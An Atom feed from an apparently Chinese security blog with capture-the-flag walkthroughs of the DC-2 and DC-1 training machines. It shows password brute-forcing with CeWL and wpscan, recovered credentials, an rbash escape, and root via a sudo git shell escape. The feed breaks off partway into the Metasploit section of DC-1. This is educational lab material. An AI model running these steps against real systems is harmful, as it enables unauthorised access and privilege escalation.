<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>Hexo</title>
  
  
  <link href="http://example.com/atom.xml" rel="self"/>
  
  <link href="http://example.com/"/>
  <updated>2024-12-07T07:30:36.052Z</updated>
  <id>http://example.com/</id>
  
  <author>
    <name>John Doe</name>
    
  </author>
  
  <generator uri="https://hexo.io/">Hexo</generator>
  
  <entry>
    <title>DC-2靶场</title>
    <link href="http://example.com/2024/12/07/DC-2%E9%9D%B6%E5%9C%BA/"/>
    <id>http://example.com/2024/12/07/DC-2%E9%9D%B6%E5%9C%BA/</id>
    <published>2024-12-07T14:54:24.000Z</published>
    <updated>2024-12-07T07:30:36.052Z</updated>
    
    <content type="html"><![CDATA[<div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">ipconfig</span><br><span class="line">nmap -A 192.168.92.0/24</span><br></pre></td></tr></table></figure></div><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">Nmap scan report for dc-2 (192.168.92.135)</span><br><span class="line">Host is up (0.00068s latency).</span><br><span class="line">Not shown: 999 closed tcp ports (reset)</span><br><span class="line">PORT   STATE SERVICE VERSION</span><br><span class="line">80/tcp open  http    Apache httpd 2.4.10 ((Debian))</span><br><span class="line">|_http-server-header: Apache/2.4.10 (Debian)</span><br><span class="line">|_http-generator: WordPress 4.7.10</span><br><span class="line">|_http-title: DC-2 &amp;#8211; Just another WordPress site</span><br><span class="line">MAC Address: 00:0C:29:67:A5:C2 (VMware)</span><br><span class="line">Device type: general purpose</span><br><span class="line">Running: Linux 3.X|4.X</span><br><span class="line">OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4</span><br><span class="line">OS details: Linux 3.2 - 4.9</span><br><span class="line">Network Distance: 1 hop</span><br></pre></td></tr></table></figure></div><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">nmap -p- 192.168.92.135</span><br></pre></td></tr></table></figure></div><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-07 00:33 EST</span><br><span class="line">Nmap scan report for dc-2 (192.168.92.135)</span><br><span class="line">Host is up (0.00066s latency).</span><br><span class="line">Not shown: 65533 closed tcp ports (reset)</span><br><span class="line">PORT     STATE SERVICE</span><br><span class="line">80/tcp   open  http</span><br><span class="line">7744/tcp open  raqmon-pdu</span><br><span class="line">MAC Address: 00:0C:29:67:A5:C2 (VMware)</span><br></pre></td></tr></table></figure></div><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">nmap --script=vuln -p80,7744 192.168.92.135</span><br></pre></td></tr></table></figure></div><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br></pre></td><td class="code"><pre><span class="line">Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-07 00:35 EST</span><br><span class="line">Nmap scan report for dc-2 (192.168.92.135)</span><br><span class="line">Host is up (0.00058s latency).</span><br><span class="line"></span><br><span class="line">PORT     STATE SERVICE</span><br><span class="line">80/tcp   open  http</span><br><span class="line">|_http-stored-xss: Couldn&#x27;t find any stored XSS vulnerabilities.</span><br><span class="line">| http-csrf: </span><br><span class="line">| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=dc-2</span><br><span class="line">|   Found the following possible CSRF vulnerabilities: </span><br><span class="line">|     </span><br><span class="line">|     Path: http://dc-2:80/index.php/what-we-do/%5C%22</span><br><span class="line">|     Form id: search-form-6750e7244cc64</span><br><span class="line">|     Form action: http://dc-2/</span><br><span class="line">|     </span><br><span class="line">|     Path: http://dc-2:80/index.php/our-people/%5C%22</span><br><span class="line">|     Form id: search-form-6750e724c5c81</span><br><span class="line">|_    Form action: http://dc-2/</span><br><span class="line">| http-wordpress-users: </span><br><span class="line">| Username found: admin</span><br><span class="line">| Username found: tom</span><br><span class="line">| Username found: jerry</span><br><span class="line">|_Search stopped at ID #25. Increase the upper limit if necessary with &#x27;http-wordpress-users.limit&#x27;</span><br><span class="line">|_http-dombased-xss: Couldn&#x27;t find any DOM based XSS.</span><br><span class="line">| http-enum: </span><br><span class="line">|   /wp-login.php: Possible admin folder</span><br><span class="line">|   /readme.html: Wordpress version: 2 </span><br><span class="line">|   /: WordPress version: 4.7.10</span><br><span class="line">|   /wp-includes/images/rss.png: Wordpress version 2.2 found.</span><br><span class="line">|   /wp-includes/js/jquery/suggest.js: Wordpress version 2.5 found.</span><br><span class="line">|   /wp-includes/images/blank.gif: Wordpress version 2.6 found.</span><br><span class="line">|   /wp-includes/js/comment-reply.js: Wordpress version 2.7 found.</span><br><span class="line">|   /wp-login.php: Wordpress login page.</span><br><span class="line">|   /wp-admin/upgrade.php: Wordpress login page.</span><br><span class="line">|_  /readme.html: Interesting, a readme.</span><br><span class="line">7744/tcp open  raqmon-pdu</span><br><span class="line">MAC Address: 00:0C:29:67:A5:C2 (VMware)</span><br><span class="line"></span><br><span class="line">Nmap done: 1 IP address (1 host up) scanned in 31.00 seconds</span><br></pre></td></tr></table></figure></div><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">关键：</span><br><span class="line">| http-wordpress-users: </span><br><span class="line">| Username found: admin</span><br><span class="line">| Username found: tom</span><br><span class="line">| Username found: jerry</span><br></pre></td></tr></table></figure></div><p>访问<a class="link"   href="http://dc-2/%E6%B2%A1%E6%9C%89%E8%BF%94%E5%9B%9E" >http://dc-2/没有返回 <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">find / -name hosts</span><br><span class="line">vim /etc/hosts</span><br><span class="line">192.168.92.135  dc-2</span><br><span class="line">访问http://dc-2/</span><br></pre></td></tr></table></figure></div><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">Flag 1:</span><br><span class="line"></span><br><span class="line">Your usual wordlists probably won’t work, so instead, maybe you just need to be cewl.</span><br><span class="line">More passwords is always better, but sometimes you just can’t win them all.</span><br><span class="line">Log in as one to see the next flag.</span><br><span class="line">If you can’t find it, log in as another.</span><br></pre></td></tr></table></figure></div><p>Cewl介绍<br>Cewl是一款采用Ruby开发的应用程序，你可以给它的爬虫指定URL地址和爬取深度，还可以添额外的外部链接，接下来Cewl会给你返回一个字典文件，你可以把字典用到类似John the Ripper这样的密码破解工具中。除此之外，Cewl还提供了命令行工具。<br>使用：</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cewl &lt;url&gt; [options] </span><br></pre></td></tr></table></figure></div><p>Cewl可以将打印出的字典存储为文件</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cewl url -w dict.txt</span><br></pre></td></tr></table></figure></div><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cewl http://dc-2/  -w  password.txt</span><br></pre></td></tr></table></figure></div><p>目前有用户名：admin，tom，jerry，密码字典</p><p>扫描后台：</p><p>apt-get install dirsearch</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">默认方式扫描单个url</span><br><span class="line">dirsearch -u http://dc-2/</span><br><span class="line"></span><br><span class="line">使用文件拓展名为php和txt以及js的字典扫描目标</span><br><span class="line">dirsearch -e php,txt,js -u http://dc-2/</span><br></pre></td></tr></table></figure></div><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">[00:42:30] 200 -    1KB - /wp-login.php</span><br></pre></td></tr></table></figure></div><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://dc-2/wp-login.php</span><br></pre></td></tr></table></figure></div><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">或者 dirb http://dc-2</span><br></pre></td></tr></table></figure></div><p>Wordpress有一个著名的扫描工具wpscan</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">wpscan --url http://dc-2/ -e u      //枚举用户名字</span><br></pre></td></tr></table></figure></div><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line">[i] User(s) Identified:</span><br><span class="line"></span><br><span class="line">[+] admin</span><br><span class="line"> | Found By: Rss Generator (Passive Detection)</span><br><span class="line"> | Confirmed By:</span><br><span class="line"> |  Wp Json Api (Aggressive Detection)</span><br><span class="line"> |   - http://dc-2/index.php/wp-json/wp/v2/users/?per_page=100&amp;page=1</span><br><span class="line"> |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)</span><br><span class="line"> |  Login Error Messages (Aggressive Detection)</span><br><span class="line"></span><br><span class="line">[+] jerry</span><br><span class="line"> | Found By: Wp Json Api (Aggressive Detection)</span><br><span class="line"> |  - http://dc-2/index.php/wp-json/wp/v2/users/?per_page=100&amp;page=1</span><br><span class="line"> | Confirmed By:</span><br><span class="line"> |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)</span><br><span class="line"> |  Login Error Messages (Aggressive Detection)</span><br><span class="line"></span><br><span class="line">[+] tom</span><br><span class="line"> | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)</span><br><span class="line"> | Confirmed By: Login Error Messages (Aggressive Detection)</span><br></pre></td></tr></table></figure></div><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">vim user.txt</span><br><span class="line"></span><br><span class="line">admin</span><br><span class="line">tom</span><br><span class="line">jerry</span><br></pre></td></tr></table></figure></div><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">wpscan --url http://dc-2/ -U user.txt -P password.txt</span><br></pre></td></tr></table></figure></div><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">[!] Valid Combinations Found:</span><br><span class="line"> | Username: jerry, Password: adipiscing</span><br><span class="line"> | Username: tom, Password: parturient</span><br></pre></td></tr></table></figure></div><p>Username: jerry, Password: adipiscing<br>登录jerry<br>pages-&gt;flag2</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">Flag 2:</span><br><span class="line"></span><br><span class="line">If you can&#x27;t exploit WordPress and take a shortcut, there is another way.</span><br><span class="line">Hope you found another entry point.</span><br></pre></td></tr></table></figure></div><p>除了80端口还有7744端口<br>详细扫描7744段口：</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">nmap -A -p7744 192.168.92.135</span><br></pre></td></tr></table></figure></div><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">PORT     STATE SERVICE VERSION</span><br><span class="line">7744/tcp open  ssh     OpenSSH 6.7p1 Debian 5+deb8u7 (protocol 2.0)</span><br><span class="line">| ssh-hostkey: </span><br><span class="line">|   1024 52:51:7b:6e:70:a4:33:7a:d2:4b:e1:0b:5a:0f:9e:d7 (DSA)</span><br><span class="line">|   2048 59:11:d8:af:38:51:8f:41:a7:44:b3:28:03:80:99:42 (RSA)</span><br><span class="line">|   256 df:18:1d:74:26:ce:c1:4f:6f:2f:c1:26:54:31:51:91 (ECDSA)</span><br><span class="line">|_  256 d9:38:5f:99:7c:0d:64:7e:1d:46:f6:e9:7c:c6:37:17 (ED25519)</span><br><span class="line">MAC Address: 00:0C:29:67:A5:C2 (VMware)</span><br><span class="line">Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port</span><br><span class="line">Device type: general purpose</span><br><span class="line">Running: Linux 3.X|4.X</span><br></pre></td></tr></table></figure></div><p>7744是ssh端口<br> Username: jerry, Password: adipiscing<br> Username: tom, Password: parturient<br>尝试ssh登录</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">ssh jerry@192.168.92.135 -p 7744</span><br><span class="line">ssh tom@192.168.92.135 -p 7744</span><br></pre></td></tr></table></figure></div><p>jerry不行，tom登录成功</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">tom@DC-2:~$ ls</span><br></pre></td></tr></table></figure></div><p>flag3.txt  usr</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">tom@DC-2:~$ cat flag3</span><br></pre></td></tr></table></figure></div><p>-rbash: cat: command not found</p><p>-rbash</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">compgen -c       //查看可以使用的指令</span><br></pre></td></tr></table></figure></div><p>可以用vi或者less</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">tom@DC-2:~$ less flag3.txt</span><br></pre></td></tr></table></figure></div><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes.</span><br></pre></td></tr></table></figure></div><p>下一个flag可能在jerry目录，<br>vi提权<br>vi随便打开文件<br>再下面添加</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">:set shell=/bin/sh</span><br><span class="line">:shell</span><br></pre></td></tr></table></figure></div><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ whoami</span><br></pre></td></tr></table></figure></div><p>&#x2F;bin&#x2F;sh: 1: whoami: not found</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ ls</span><br></pre></td></tr></table></figure></div><p>flag3.txt  usr</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">$ cd ..</span><br><span class="line">$ ls</span><br></pre></td></tr></table></figure></div><p>jerry  tom</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">$ cd jerry</span><br><span class="line">$ ls</span><br></pre></td></tr></table></figure></div><p>flag4.txt</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ cat flag4.txt</span><br></pre></td></tr></table></figure></div><p>&#x2F;bin&#x2F;sh: 7: cat: not found</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ less flag4.txt</span><br></pre></td></tr></table></figure></div><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">Good to see that you&#x27;ve made it this far - but you&#x27;re not home yet. </span><br><span class="line"></span><br><span class="line">You still need to get the final flag (the only flag that really counts!!!).  </span><br><span class="line"></span><br><span class="line">No hints here - you&#x27;re on your own now.  :-)</span><br><span class="line"></span><br><span class="line">Go on - git outta here!!!!</span><br></pre></td></tr></table></figure></div><p>$ su root<br>&#x2F;bin&#x2F;sh: 10: su: not found<br>权限还是不是很高</p><p>rbash环境变量的提权：</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">┌──(root㉿kali)-[/home/kali]</span><br><span class="line">└─# ssh tom@192.168.92.135 -p 7744</span><br></pre></td></tr></table></figure></div><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">export -p        //查看环境变量</span><br><span class="line">BASH_CMDS[a]=/bin/sh;a         //把/bin/sh给a</span><br><span class="line">/bin/bash</span><br><span class="line">export PATH=$PATH:/bin/         //添加环境变量</span><br><span class="line">export PATH=$PATH:/usr/bin      //添加环境变量</span><br></pre></td></tr></table></figure></div><p>发现还是进不去root目录<br>查找所有SUID集文件<br>find &#x2F; -perm -u&#x3D;s -type f 2&gt;&#x2F;dev&#x2F;null</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">tom@DC-2:/$ find / -perm -u=s -type f 2&gt;/dev/null</span><br></pre></td></tr></table></figure></div><p>&#x2F;usr&#x2F;bin&#x2F;gpasswd<br>&#x2F;usr&#x2F;bin&#x2F;newgrp<br>&#x2F;usr&#x2F;bin&#x2F;sudo<br>&#x2F;usr&#x2F;bin&#x2F;chfn<br>&#x2F;usr&#x2F;bin&#x2F;chsh<br>&#x2F;usr&#x2F;bin&#x2F;passwd<br>&#x2F;usr&#x2F;bin&#x2F;procmail<br>&#x2F;usr&#x2F;bin&#x2F;at<br>&#x2F;usr&#x2F;lib&#x2F;openssh&#x2F;ssh-keysign<br>&#x2F;usr&#x2F;lib&#x2F;dbus-1.0&#x2F;dbus-daemon-launch-helper<br>&#x2F;usr&#x2F;lib&#x2F;eject&#x2F;dmcrypt-get-device<br>&#x2F;usr&#x2F;sbin&#x2F;exim4<br>&#x2F;bin&#x2F;umount<br>&#x2F;bin&#x2F;mount<br>&#x2F;bin&#x2F;su</p><p>可以使用su<br>尝试一下jerry用户<br>Username: jerry, Password: adipiscing</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">su jerry</span><br></pre></td></tr></table></figure></div><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sudo -l   显示出自己（执行 sudo 的使用者）的权限</span><br></pre></td></tr></table></figure></div><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">Matching Defaults entries for jerry on DC-2:</span><br><span class="line">    env_reset, mail_badpass,</span><br><span class="line">    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin</span><br><span class="line"></span><br><span class="line">User jerry may run the following commands on DC-2:</span><br><span class="line">    (root) NOPASSWD: /usr/bin/git</span><br></pre></td></tr></table></figure></div><p>git提权</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">sudo git -p help config</span><br><span class="line">!/bin/sh</span><br></pre></td></tr></table></figure></div><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sudo -l</span><br></pre></td></tr></table></figure></div><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">Matching Defaults entries for root on DC-2:</span><br><span class="line">    env_reset, mail_badpass,</span><br><span class="line">    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin</span><br><span class="line"></span><br><span class="line">User root may run the following commands on DC-2:</span><br><span class="line">    (ALL : ALL) ALL</span><br></pre></td></tr></table></figure></div><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">whoami</span><br></pre></td></tr></table></figure></div><p>root</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sudo -i</span><br></pre></td></tr></table></figure></div><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">root@DC-2:~# ls</span><br></pre></td></tr></table></figure></div><p>final-flag.txt</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">root@DC-2:~# cat final-flag.txt </span><br></pre></td></tr></table></figure></div><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"></span><br><span class="line">__    __     _ _       _                    _</span><br><span class="line"></span><br><span class="line">/ / /\ \ \___| | |   __| | ___  _ __   ___  / \</span><br><span class="line">\ \/  \/ / _ \ | |  / _` |/ _ \| &#x27;_ \ / _ \/  /</span><br><span class="line"> \  /\  /  __/ | | | (_| | (_) | | | |  __/\_/ </span><br><span class="line">  \/  \/ \___|_|_|  \__,_|\___/|_| |_|\___\/   </span><br><span class="line"></span><br><span class="line"></span><br><span class="line">Congratulatons!!!</span><br><span class="line"></span><br><span class="line">A special thanks to all those who sent me tweets</span><br><span class="line">and provided me with feedback - it&#x27;s all greatly</span><br><span class="line">appreciated.</span><br><span class="line"></span><br><span class="line">If you enjoyed this CTF, send me a tweet via @DCAU7.</span><br></pre></td></tr></table></figure></div>]]></content>
    
    
      
      
    <summary type="html">&lt;div class=&quot;highlight-container&quot; data-rel=&quot;Plaintext&quot;&gt;&lt;figure class=&quot;iseeu highlight plaintext&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span cla</summary>
      
    
    
    
    
    <category term="渗透测试" scheme="http://example.com/tags/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/"/>
    
  </entry>
  
  <entry>
    <title>DC-1靶场</title>
    <link href="http://example.com/2024/12/04/DC-1%E9%9D%B6%E5%9C%BA/"/>
    <id>http://example.com/2024/12/04/DC-1%E9%9D%B6%E5%9C%BA/</id>
    <published>2024-12-04T19:52:21.000Z</published>
    <updated>2024-12-07T07:30:36.052Z</updated>
    
    <content type="html"><![CDATA[<div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ipconfig</span><br></pre></td></tr></table></figure></div><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">nmap -A 192.168.92.0/24</span><br><span class="line">或者</span><br><span class="line">nmap -sS 192.168.92.0/24</span><br></pre></td></tr></table></figure></div><p>192.168.92.134<br>22-ssh<br>80-http</p><p>22-ssh-暴力破解</p><div class="highlight-container" data-rel="Bash"><figure class="iseeu highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">nmap --script=ssh-brute 192.168.92.134</span><br></pre></td></tr></table></figure></div><div class="highlight-container" data-rel="Bash"><figure class="iseeu highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">cat</span> /usr/share/nmap/scripts</span><br></pre></td></tr></table></figure></div><p>80-http<br>wappalyzer分析网站信息—drupal7（cms）<br>漏洞库搜索漏洞：<a class="link"   href="https://www.exploit-db.com/" >https://www.exploit-db.com/ <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a><br>使用kali的msf进行渗透</p><div class="highlight-container" data-rel="Bash"><figure class="iseeu highlight bash"><table><tr><td class="gutter"><pre><span 